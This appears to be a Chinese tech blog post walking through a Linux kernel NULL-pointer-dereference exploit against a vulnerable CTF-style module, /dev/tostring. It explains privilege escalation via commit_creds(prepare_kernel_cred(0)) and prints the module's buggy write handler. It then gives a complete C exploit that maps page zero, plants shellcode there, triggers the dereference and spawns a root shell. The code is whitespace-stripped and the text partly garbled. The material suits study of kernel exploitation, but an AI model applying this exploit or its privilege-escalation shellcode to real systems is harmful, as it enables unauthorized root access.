当前位置: 首页 > 科技观察

Kernelexploit-如何处理空指针异常

时间:2023-03-13 17:33:41 科技观察

什么是空指针异常?如果取消引用未初始化或编号为零(归零)的指针,将导致程序计数器/指令指针(PC/IP)指向0,从而导致内核崩溃!遇到上述情况,首先检查是否启用了任何保护程序,如果启用则全部关闭,包括管理员保护模式、数据执行保护模式(DEP/NX)和mmap_min_addr保护机制。ring0层与ring3层不同(Intel的CPU将特权级分为4个级别:RING0、RING1、RING2、RING3。Windows只使用其中两个级别,RING0和RING3,RING0仅供操作系统使用,和可以使用的RING3)。由于计算机使用的是二进制,所以我们只需要注意在ring3层的运行过程中如何添加一个shell命令即可。这个时候我们需要修改权限。幸运的是,仍然有一些内核结构持有当前进程权限。我们将尝试利用root权限并在完成后附加一个shell命令。如何提升权限?在执行提权操作之前,我们需要知道我们需要做什么:每个进程信息都存储为一个进程描述符(task_struct)下面是sched.h文件:structtask_struct{/*...*//*Processcredentials:*//*Tracer'scredentialsatattach:*/conststructcred__rcu*ptracer_cred;/*Objectiveandrealsubjectivetaskcredentials(COW):*/conststructcred__rcu*real_cred;/*Effective(overridable)subjectivetaskcredentials(COW):*/__rcu*structcred;...*/}下面是cred.h文件:structcred{/*...*/kuid_tuid;/*realUIDofthetask*/kgid_tgid;/*realGIDofthetask*/kuid_tsuid;/*savedUIDofthetask*/kgid_tsgid;/*savedGIDofthetask*/kuid_teuid;/*effectiveUIDofthetask*/kgid_tegid;/*effectiveGIDofthetask*//*...*/}下面我们将主要关注有效用户识别(UID)任务。如果我们成功将它的值设置为0,则当前任务将拥有root权限!我们应该如何找到它们?一些内核符号可以被利用。一些函数可用于提升当前进程的权限。它们的地址是静态的,可以根据我们正在处理的内核重新生成:/proc/kallsyms、/proc/ksyms、/dev/ksyms..这些函数在cred.c中。中间。externintcommit_creds(structcred*);/*...*/externstructcred*prepare_kernel_cred(structtask_struct*);我们可以看到prepare_kernel_cred()函数的返回值类型是structcred*,然后作为参数传递给commit_creds(),这样我们就可以将我们新获得的权限分配给当前进程了!结论:可以使用“commit_creds(prepare_kernel_cred(0))”命令提权;了解漏洞并学会触发这些漏洞在进行内核开发之前,我们需要知道如何触发漏洞,还需要知道指针在什么情况下会被取消。解决内核威胁问题,我们首先要检查保护程序,如上图所示,所有保护措施都关闭了。在“tostring_write()”函数中,我们可以看到这些命令应该总是以10'*'开头。加载此内核模块后,它会在每次运行时启动结构,每次运行一个。如上图所示,不难发现这会启动“tostring_create()”。在“tostring_sstruct!”下设置函数指针时,函数响应很重要,记住这一点!因此,每次运行(或如果需要)都设置一次这两个指针。现在我们轻易地就可以表示出漏洞的函数,如下所示:staticssize_ttostring_write(structfile*f,constchar__user*buf,size_tlen,loff_t*off){char*bufk;inti,j;printk(KERN_INFO"Tostring:write()\n");bufk=kmalloc(len+1,GFP_DMA);if(bufk){if(copy_from_user(bufk,buf,len))return-EFAULT;bufk[len]='\0';i=0;while(itostring_read=tostring_read_hexa;break;case'D':tostring->tostring_read=tostring_read_dec;break;case'S':printk("Tostring:Deletestack\n");kfree(tostring->tostring_stack);tostring->tostring_stack=NULL;tostring->tostring_read=NULL;tostring->pointer=0;tostring->pointer_max=0;break;case'N':printk("Tostring:Stackcreatewithsize%ld\n",local_strtoul(bufk+i+11,NULL,10));if(tostring->tostring_stack==NULL)tostring_create(local_strtoul(bufk+i+11,NULL,10));if(tostring->tostring_stack==NULL)printk("Tostring:Error,impossibletocreatestack\n");break;}i=j+1;}else{printk("tostring:insertion%lld\n",*((longlongint*)(bufk+i)));if(tostring->pointer>=tostring->pointer_max)printk(KERN_INFO"Tostring:Stackfull\n");elsetostring->tostring_stack[(tostring->pointer)++]=*((longlongint*)(bufk+i));ii=i+sizeof(longlongint);}}kfree(bufk);}returnlen;}当我们如您所见,在“十'*'”之后会有一个“S”,这将使指向string_read的函数指针无效,这对我们有用。但是,在将其设置为null后,我们需要读取它以便取消引用。因此,我们需要读取文件来触发“tostring_read()!”命令。我们开始编写开发程序。以前用Python语言写,现在改用C语言。先写个比较简单的触发命令,清除函数指针。#include#include#include#include#include/**/#definevulnerable_device"/dev/tostring"/**/voidmain(void){intfd;charpayload[15];/**/memset(payload,'*',10);/**/payload[10]='S';payload[11]=0;/**/fd=open(vulnerable_device,O_RDWR);if(fd<0){printf("Couldn'topendevice!");}/**/write(fd,payload,12);}到目前为止一切正常好吧,但我们仍然需要通过读取文件来取消引用它。read(fd,0,1)我们做到了,我们将其IP指针设置为0幸运的是mmap_min_addr保护已关闭。我们可以在NULL中分配一小块区域,并放置我们的shellcode来提升权限。现在可以从“/proc/kallsyms!”获得“prepare_kernel_cred”和“commit_creds”地址。我将使用rasm2制作一个shellcode:这是shellcode:在我们的开发程序中取消指针之前,我们可以开始添加shellcode:#include#include#include#include#include/**/#definevulnerable_device"/dev/tostring"/**/voidpop_shell(){system("sh");}/**/voidmain(void){intfd;charpayload[15];charshellcode[15]="\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";/**/memset(payload,'*',10);/**/payload[10]='S';payload[11]=0;/**/fd=open(vulnerable_device,O_RDWR);if(fd<0){printf("Couldn'tendevice!");}write(fd,payload,12);/**/mmap(NULL,sizeof(shellcode),PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0);memcpy(NULL,shellcode,sizeof(shellcode));/**/read(fd,0,1);/**/pop_shell();}完成后开始运行下面是rootshell希望文章可以对大家有用启发和帮助!